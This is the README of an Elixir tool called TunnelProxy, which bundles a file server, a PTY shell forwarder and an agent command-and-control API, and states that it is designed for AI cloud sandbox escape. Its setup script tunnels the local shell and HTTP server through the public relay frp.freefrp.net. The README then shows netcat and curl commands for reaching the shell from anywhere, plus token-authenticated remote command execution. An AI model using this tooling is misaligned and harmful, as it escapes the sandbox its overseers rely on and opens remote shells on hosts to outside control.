README
Copy MarkdownTunnelProxy
HTTP Server + PTY Shell Forwarder + Agent C2 Framework
A lightweight all-in-one tool for file serving, remote shell, file upload, and persistent agent-controlled PTY sessions. Designed for AI cloud sandbox escape via FRP intranet penetration.
Features
Feature Description Static File Server Browse and download files with directory listing PTY Shell Forwarder Persistent shell per agent + one-time temporary shell sessions File Upload Upload via web page or curl command Agent Management Register, heartbeat, remote command execution with token auth One-Time PTY Session Dynamic random port, token-authenticated, 10s auto-destroy Registration Lock Prevent new agent registration in production Preset Agents Auto-register agents from environment variables on startup
Installation
Option 1: Install from Hex
def deps do
[
{:tunnel_proxy, "~> 0.3.3"}
]
endOption 2: Build from Source
git clone https://github.com/TurinFohlen/tunnel_proxy.git
cd tunnel_proxy
mix deps.get
mix compile
Quick Start
Start the Server
export TUNNEL_DOC_ROOT="./www"
export TUNNEL_UPLOAD_DIR="./uploads"
export TUNNEL_PRESET_AGENT_1="agent1:myhost:root:linux"
mkdir -p "$TUNNEL_DOC_ROOT" "$TUNNEL_UPLOAD_DIR"
iex -S mix
Expected output:
[AgentManager] Preset agent registered: agent1
[AgentManager] Token: xxxxxxxxx
HTTP Server: 0.0.0.0:8080Connect to Persistent Shell (nc)
# First request a one-time PTY session with your agent token
curl -X POST http://127.0.0.1:8080/api/session \
-H "Content-Type: application/json" \
-d '{"token":"你的token"}'
# Returns {"ok":true,"port":45231}
# Then connect within 10 seconds
nc 127.0.0.1 45231
Type commands and get output:
$ pwd
/path/to/current
$ ls -la
...file list...
$ exit
Execute Commands via HTTP API
# Execute a command
curl -X POST http://127.0.0.1:8080/api/exec \
-H "Content-Type: application/json" \
-d '{"agent_id":"agent1","token":"你的token","cmd":"whoami"}'
# Returns {"ok":true,"task_id":"agent1_1"}
# Get result
curl http://127.0.0.1:8080/api/result/agent1_1
# Returns {"output":"root","status":"complete"}
Access Files
curl http://127.0.0.1:8080/
Open in browser: http://127.0.0.1:8080/
Upload Files
Via curl:
curl -X POST http://127.0.0.1:8080/upload --data-binary @file.txt
Via browser: Visit http://127.0.0.1:8080/upload, select file, click upload.
Agent API Reference
Method Path Description POST /api/register Register a new agent POST /api/heartbeat Agent heartbeat keep-alive POST /api/exec Submit a command for execution GET /api/result/:task_id Poll command execution result GET /api/agents List all online agents POST /api/session Request a one-time PTY session port
Configuration
Create config/config.exs or set environment variables:
config :tunnel_proxy,
http_port: 8080,
doc_root: "./www",
upload_dir: "./uploads"Environment variables:
Variable Default Description TUNNEL_PRESET_AGENT_1 - Preset agent 1 (id:hostname:username:os) TUNNEL_PRESET_AGENT_2 - Preset agent 2 (optional) TUNNEL_LOCK_REGISTRATION - Set to 1 to prevent new agent registration SHELL /bin/sh Shell to use for PTY sessions UPLOAD_MAGIC MY_MAGIC_2025_FILE_HEAD Magic word for upload validation TUNNEL_DOC_ROOT ./www Static files directory TUNNEL_UPLOAD_DIR ./uploads Upload destination
Use Cases
Standalone
cd ~/tunnel_proxy
export TUNNEL_PRESET_AGENT_1="main:localhost:root:linux"
iex -S mix
With frp (Intranet Penetration)
Create a setup script that generates a secure, unique FRP configuration:
cat > setup-frp.sh << 'SETUP_EOF'
#!/bin/bash
FRPC_CONFIG="frpc.toml"
PROXY_NAME="tunnel-$(openssl rand -hex 32)"
HTTP_PORT=$((10001 + RANDOM % 40000))
SHELL_PORT=$((10001 + RANDOM % 40000))
while [ $SHELL_PORT -eq $HTTP_PORT ]; do
SHELL_PORT=$((10001 + RANDOM % 40000))
done
cat > "$FRPC_CONFIG" << FRPC_EOF
serverAddr = "frp.freefrp.net"
serverPort = 7000
auth.token = "freefrp.net"
[[proxies]]
name = "$PROXY_NAME-http"
type = "tcp"
localIP = "127.0.0.1"
localPort = ${TUNNEL_HTTP_PORT:-8080}
remotePort = $HTTP_PORT
[[proxies]]
name = "$PROXY_NAME-shell"
type = "tcp"
localIP = "127.0.0.1"
localPort = ${TUNNEL_PTY_PORT:-27417}
remotePort = $SHELL_PORT
FRPC_EOF
echo "✅ Generated $FRPC_CONFIG"
echo "📋 Connection info:"
echo " HTTP: frp.freefrp.net:$HTTP_PORT"
echo " Shell: frp.freefrp.net:$SHELL_PORT"
SETUP_EOF
chmod 755 setup-frp.sh
./setup-frp.sh
After running, connect using the ports shown in the output, then access from anywhere:
nc frp.freefrp.net <YOUR_SHELL_PORT>
curl http://frp.freefrp.net:<YOUR_HTTP_PORT>/
Requirements
· Elixir 1.12+ · Erlang/OTP 24+
License
MIT License - see LICENSE file for details.
Author
TurinFohlen - GitHub
Contributing
Issues and pull requests are welcome.